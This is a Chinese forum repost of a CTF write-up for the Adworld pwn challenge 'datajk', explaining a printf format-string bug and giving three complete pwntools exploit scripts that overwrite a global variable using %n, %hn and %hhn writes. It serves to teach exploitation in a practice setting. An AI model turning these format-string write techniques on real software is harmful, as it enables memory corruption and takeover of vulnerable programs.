攻防世界pwn题:实时数据检测

打印 上一主题 下一主题

主题 797|帖子 797|积分 2391

0x00:查看文件


一个32位的文件,canary、NX、PIE保护机制均关闭。
 
0x01:用IDA进行静态分析


程序很简单,输入一串字符(个数限制:512),然后再输出。最后根据key变量进行条件语句执行。
在imagemagic函数中用printf(format)进行输出,大概率有格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以试试用格式化字符串漏洞进行覆盖。
 
检测一下是否可以对随意地址进行覆盖:

有重复的,位于第12个参数。重复的原因是因为s是定义在了栈上。
payload = p32(key_addr) + b'%035795742d' + b'%12$n'

  • 将key的地址写在第一位,相当于也会写在第12参数上。
  • %12$n : 是指对第12的参数写入前面成功输出的字节数。
  • %035795742d:前面key_addr已经占了4个字节,还要在输出35795746 - 4个字节。
 
0x02:完整EXP
  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. io = process("./datajk")
  4. #io = remote("111.200.241.244",65079)
  5. key_addr = 0x0804A048
  6. payload = p32(key_addr) + b'%35795742d' + b'%12$n'
  7. io.sendline(payload)
  8. io.interactive()
复制代码
远程的话大概要几分钟输出,本地的话快一点。这种方法看着就很粗鲁,但很简单。
 
0x03:使用标志进行改进

上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:

  • h :以双字节的形式;
  • hh:以单字节的形式;
 
使用h标志进行改进:

要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。
  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. #io = process("./datajk")
  4. io = gdb.debug("./datajk")
  5. key_addr = 0x0804A048
  6. #35795746 == 0x02223322
  7. #num1 = 0x222 0x222 == 546
  8. #num2 = 0x3322 0x3322 == 13090; 12544=13090-546
  9. payload = p32(key_addr) + p32(key_addr + 2)
  10. payload += b'%0538d' + b'%13$hn'
  11. payload += b'%012544d' + b'%12$hn'
  12. io.sendline(payload)
  13. io.interactive()
复制代码
注:用%n写入数据的顺序要从写入数值小的开始。
前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。
 
使用hh标志进行改进:

将0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按数值从小到大依次写入。
这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
 
exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,同时代码不唯一,但大概思想不变。所以就不做多解释了,有问题可以在评论区提出。
  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. io = process("./datajk")<br>key_addr = 0x0804A048
  4. #0x02 22 33 22 (high -> low)
  5. #input 0x02
  6. payload = b'aa%15$hhnaaa' + p32(key_addr + 3)
  7. #input 0x22(two)
  8. payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna'
  9. #input 0x33
  10. payload += p32(key_addr + 1) + b'%012d%23$hhn'
  11. io.sendline(payload)
  12. io.interactive()<br>
复制代码
 
0x04:感触

没有绝对安全的系统!
 
tolele
2022-06-16 
 

来源:https://www.cnblogs.com/tolele/p/16381683.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莫张周刘王

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表